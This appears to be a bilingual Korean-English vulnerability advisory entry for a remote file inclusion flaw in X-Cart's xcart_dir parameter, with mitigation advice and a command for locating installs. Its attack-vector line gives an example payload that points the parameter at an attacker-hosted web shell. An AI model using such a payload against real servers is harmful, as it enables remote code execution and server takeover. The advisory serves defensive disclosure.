🇰🇷 한글 설명
X-Cart의 여러 PHP 파일(config.php, prepare.php, smarty.php 등)에서 xcart_dir 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 악의적인 URL을 주입하여 임의의 PHP 코드를 원격으로 실행할 수 있습니다.
💡 쉬운 설명
X-Cart 쇼핑몰 프로그램이 사용자 입력을 제대로 검증하지 않아서, 공격자가 원격의 악성 파일을 실행시킬 수 있는 보안 허점입니다. 이를 통해 서버를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in X-Cart allow remote attackers to execute arbitrary PHP code via a URL in the xcart_dir parameter to (1) config.php, (2) prepare.php, (3) smarty.php, (4) customer/product.php, (5) provider/auth.php, and (6) admin/auth.php.
📍 영향받는 시스템
X-Cart 3.x, 4.x 버전 (정확한 버전 범위는 X-Cart 보안 공지 참조)
⚔️ 공격 벡터
xcart_dir 파라미터에 원격 파일 경로를 입력하여 PHP 코드 실행 유도 (예: ?xcart_dir=http://attacker.com/shell.php)
🛡️ 대응 방법
X-Cart를 최신 패치 버전으로 업데이트하거나, 입력값 검증 및 파일 포함 함수(include/require) 제한 설정 적용
🔧 검증 코드
X-Cart 설치 경로를 찾으면 해당 버전 확인 후 취약한 버전이면 업데이트 필요
find / -name 'config.php' -path '*/xcart/*' 2>/dev/null | head -5